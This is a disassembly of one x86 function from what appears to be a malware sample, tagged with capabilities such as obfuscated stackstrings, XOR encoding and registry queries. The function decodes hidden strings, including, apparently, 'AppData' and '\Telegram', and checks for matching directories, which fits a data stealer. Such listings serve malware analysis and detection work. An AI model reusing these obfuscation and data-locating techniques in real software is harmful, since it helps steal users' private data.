Function at 0x40f477
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Query or enumerate registry value

Disassembly:
push 0x24c
mov eax, 0x421b8f
call fcn.00420a4f
lea ecx, [ebp - 0x160]
call fcn.00407e80
lea ecx, [ebp - 0x258]
call fcn.00404293
movaps xmm0, xmmword [0x402720]
xor ebx, ebx
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x40], 0x75747a54
mov ecx, ebx
mov dword [ebp - 0x3c], 0x70446e66
mov dword [ebp - 0x38], 0x686a676f
mov byte [ebp - 0x34], bl
movsx eax, byte [ebp - 0x50]
and eax, 0x8000000f
jns 0x40f4d3
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x4f], al
inc ecx
cmp ecx, 0x1b
jb 0x40f4c3
lea eax, [ebp - 0x4f]
mov byte [ebp - 0x34], bl
push eax
lea ecx, [ebp - 0xbc]
call fcn.0040406a
lea eax, [ebp - 0x123]
mov dword [ebp - 4], ebx
mov word [ebp - 0x124], 0xe
lea ecx, [ebp - 0x74]
push eax
mov byte [ebp - 0x123], bl
call fcn.0040406a
mov byte [ebp - 4], 1
mov ecx, ebx
movaps xmm0, xmmword [0x402b90]
movups xmmword [ebp - 0x120], xmm0
movaps xmm0, xmmword [0x402b20]
movups xmmword [ebp - 0x110], xmm0
movaps xmm0, xmmword [0x402b80]
movups xmmword [ebp - 0x100], xmm0
movaps xmm0, xmmword [0x4024a0]
movups xmmword [ebp - 0xf0], xmm0
movaps xmm0, xmmword [0x4025a0]
movups xmmword [ebp - 0xe0], xmm0
movaps xmm0, xmmword [0x402060]
movups xmmword [ebp - 0xd0], xmm0
movsx eax, byte [ebp - 0x120]
and eax, 0x8000000f
jns 0x40f57d
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x11f], al
inc ecx
cmp ecx, 0x5e
jb 0x40f56a
mov edx, dword [ebp - 0x154]
lea eax, [ebp - 0x128]
mov ecx, dword [ebp - 0x160]
push eax
lea eax, [ebp - 0x11f]
mov byte [ebp - 0xc1], bl
push eax
push SysReAllocString
call fcn.00406f1f
call eax
movaps xmm0, xmmword [0x4029c0]
mov ecx, ebx
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], bl
movsx eax, byte [ebp - 0x24]
and eax, 0x8000000f
jns 0x40f5d6
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0xf
jb 0x40f5c6
mov esi, dword [sym.imp.ADVAPI32.dll_RegGetValueA]
lea eax, [ebp - 0x23]
push ebx
push ebx
push ebx
push 2
push eax
push ebx
push dword [ebp - 0x128]
mov byte [ebp - 0x14], bl
call esi
movaps xmm0, xmmword [0x402180]
mov ecx, ebx
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], bl
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0xf
jb 0x40f60b
push ebx
lea eax, [ebp - 0x74]
mov byte [ebp - 0x14], bl
push eax
push ebx
push 2
lea eax, [ebp - 0x23]
push eax
push ebx
push dword [ebp - 0x128]
call esi
push dword [ebp - 0x128]
mov edx, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x160]
call fcn.00406f1f
call eax
cmp dword [ebp - 0x64], 0
je 0x40f739
push 0xf
pop esi
cmp dword [ebp - 0x60], esi
lea eax, [ebp - 0x74]
cmova eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
je 0x40fa4e
mov al, 0x76
mov dword [ebp - 0x1c], 0x6b5a6276
mov dword [ebp - 0x18], 0x786d6b72
mov ecx, ebx
mov word [ebp - 0x14], 0x7367
mov byte [ebp - 0x12], bl
movsx eax, al
and eax, 0x8000000f
jns 0x40f699
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 9
jae 0x40f6a8
mov al, byte [ebp - 0x1c]
jmp 0x40f68a
lea eax, [ebp - 0x1b]
mov byte [ebp - 0x12], bl
push eax
lea edx, [ebp - 0xbc]
lea ecx, [ebp - 0x8c]
call fcn.00407c78
pop ecx
mov byte [ebp - 4], 2
lea eax, [ebp - 0x8c]
cmp dword [ebp - 0x78], esi
mov edx, dword [ebp - 0x1e8]
cmova eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x258]
push ebx
push eax
call fcn.00406f1f
call eax
movaps xmm0, xmmword [0x402560]
mov ecx, ebx
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 0x14], 0x473c
mov byte [ebp - 0x12], bl
movsx eax, byte [ebp - 0x24]
and eax, 0x8000000f
jns 0x40f710
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x11
jb 0x40f700
lea eax, [ebp - 0x23]
mov byte [ebp - 0x12], bl
push eax
lea edx, [ebp - 0x74]
lea ecx, [ebp - 0xa4]
call fcn.00407c78
pop ecx
mov byte [ebp - 4], 3
jmp 0x40fa10
movaps xmm0, xmmword [0x4029a0]
mov ecx, ebx
movups xmmword [ebp - 0x5c], xmm0
mov dword [ebp - 0x3c], 0x7b847075
movaps xmm0, xmmword [0x402970]
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x38], 0x7e725883
mov word [ebp - 0x34], 0x7d
movsx eax, byte [ebp - 0x5c]
and eax, 0x8000000f
jns 0x40f775
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x5b], al
inc ecx
cmp ecx, 0x28
jb 0x40f765
mov edx, dword [ebp - 0x154]
lea eax, [ebp - 0x124]
mov ecx, dword [ebp - 0x160]
push eax
lea eax, [ebp - 0x5b]
mov byte [ebp - 0x33], bl
push eax
push SysReAllocString
call fcn.00406f1f
call eax
push ebx
push ebx
push ebx
push 2
push ebx
push ebx
push dword [ebp - 0x124]
call esi
push ebx
lea eax, [ebp - 0x74]
push eax
push ebx
push 2
push ebx
push ebx
push dword [ebp - 0x124]
call esi
push dword [ebp - 0x124]
mov edx, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x160]
call fcn.00406f1f
call eax
mov eax, dword [ebp - 0x64]
test eax, eax
jne 0x40f8c0
mov cl, 8
mov dword [ebp - 0x1c], 0x78784908
mov dword [ebp - 0x18], 0x697c694c
mov eax, ebx
mov byte [ebp - 0x14], bl
xor byte [ebp + eax - 0x1b], cl
inc eax
cmp eax, 7
jae 0x40f80e
mov cl, byte [ebp - 0x1c]
jmp 0x40f7ff
lea eax, [ebp - 0x1b]
mov byte [ebp - 0x14], bl
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
add esp, 0xc
test eax, eax
jne 0x40f94b
mov edx, dword [ebp - 0x12c]
test edx, edx
je 0x40f94b
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f844
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x74]
call fcn.0040e629
movaps xmm0, xmmword [0x402ad0]
mov ecx, ebx
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0x7c647877
mov dword [ebp - 0x38], 0x697c696c
mov byte [ebp - 0x34], bl
movsx eax, byte [ebp - 0x4c]
and eax, 0x8000000f
jns 0x40f885
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x4b], al
inc ecx
cmp ecx, 0x17
jb 0x40f875
lea ecx, [ebp - 0x4b]
mov byte [ebp - 0x34], bl
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f898
sub ecx, edx
lea eax, [ebp - 0x4b]
push ecx
push eax
lea ecx, [ebp - 0x74]
call fcn.004052bb
push dword [ebp - 0x12c]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
jmp 0x40f94b
cmp dword [ebp - 0x60], 0xf
lea esi, [ebp - 0x74]
cmova esi, dword [ebp - 0x74]
dec eax
or edx, 0xffffffff
cmp eax, edx
mov ecx, edx
cmovb ecx, eax
add ecx, esi
jmp 0x40f8df
cmp ecx, esi
je 0x40f8e8
dec ecx
cmp byte [ecx], 0x5c
jne 0x40f8da
mov edx, ecx
sub edx, esi
push edx
push 1
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x74]
call fcn.00406590
mov edx, eax
mov byte [ebp - 4], 4
mov cl, 0x27
mov dword [ebp - 0x30], 0x43537b27
mov eax, ebx
mov dword [ebp - 0x2c], 0x465346
xor byte [ebp + eax - 0x2f], cl
inc eax
cmp eax, 6
jae 0x40f91e
mov cl, byte [ebp - 0x30]
jmp 0x40f90f
lea eax, [ebp - 0x2f]
mov byte [ebp - 0x29], bl
push eax
lea ecx, [ebp - 0x28]
call fcn.0040691f
pop ecx
push eax
lea ecx, [ebp - 0x74]
call fcn.00406612
lea ecx, [ebp - 0x28]
call fcn.0040400e
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 1
call fcn.0040400e
push 0xf
pop esi
cmp dword [ebp - 0x60], esi
lea eax, [ebp - 0x74]
cmova eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
je 0x40fa4e
mov cl, 0x2e
mov dword [ebp - 0x1c], 0x4b7a722e
mov dword [ebp - 0x18], 0x5c494b42
mov eax, ebx
mov word [ebp - 0x14], 0x434f
mov byte [ebp - 0x12], bl
xor byte [ebp + eax - 0x1b], cl
inc eax
cmp eax, 9
jae 0x40f991
mov cl, byte [ebp - 0x1c]
jmp 0x40f982
lea eax, [ebp - 0x1b]
mov byte [ebp - 0x12], bl
push eax
lea edx, [ebp - 0xbc]
lea ecx, [ebp - 0x8c]
call fcn.00407c78
pop ecx
mov byte [ebp - 4], 5
lea eax, [ebp - 0x8c]
cmp dword [ebp - 0x78], esi
mov edx, dword [ebp - 0x1e8]
cmova eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x258]
push ebx
push eax
call fcn.00406f1f
call eax
movaps xmm0, xmmword [0x402690]
mov ecx, ebx
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 0x14], 0x562d
mov byte [ebp - 0x12], bl
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x11
jb 0x40f9e9
lea eax, [ebp - 0x23]
mov byte [ebp - 0x12], bl
push eax
lea edx, [ebp - 0x74]
lea ecx, [ebp - 0xa4]
call fcn.00407c78
pop ecx
mov byte [ebp - 4], 6
cmp dword [ebp - 0x78], esi
lea edx, [ebp - 0x8c]
lea ecx, [ebp - 0xa4]
cmova edx, dword [ebp - 0x8c]
cmp dword [ebp - 0x90], esi
cmova ecx, dword [ebp - 0xa4]
call fcn.0041af94
lea ecx, [ebp - 0xa4]
call fcn.0040400e
lea ecx, [ebp - 0x8c]
call fcn.0040400e
lea ecx, [ebp - 0x74]
call fcn.0040400e
lea ecx, [ebp - 0xbc]
call fcn.0040400e
call fcn.00420a0d
ret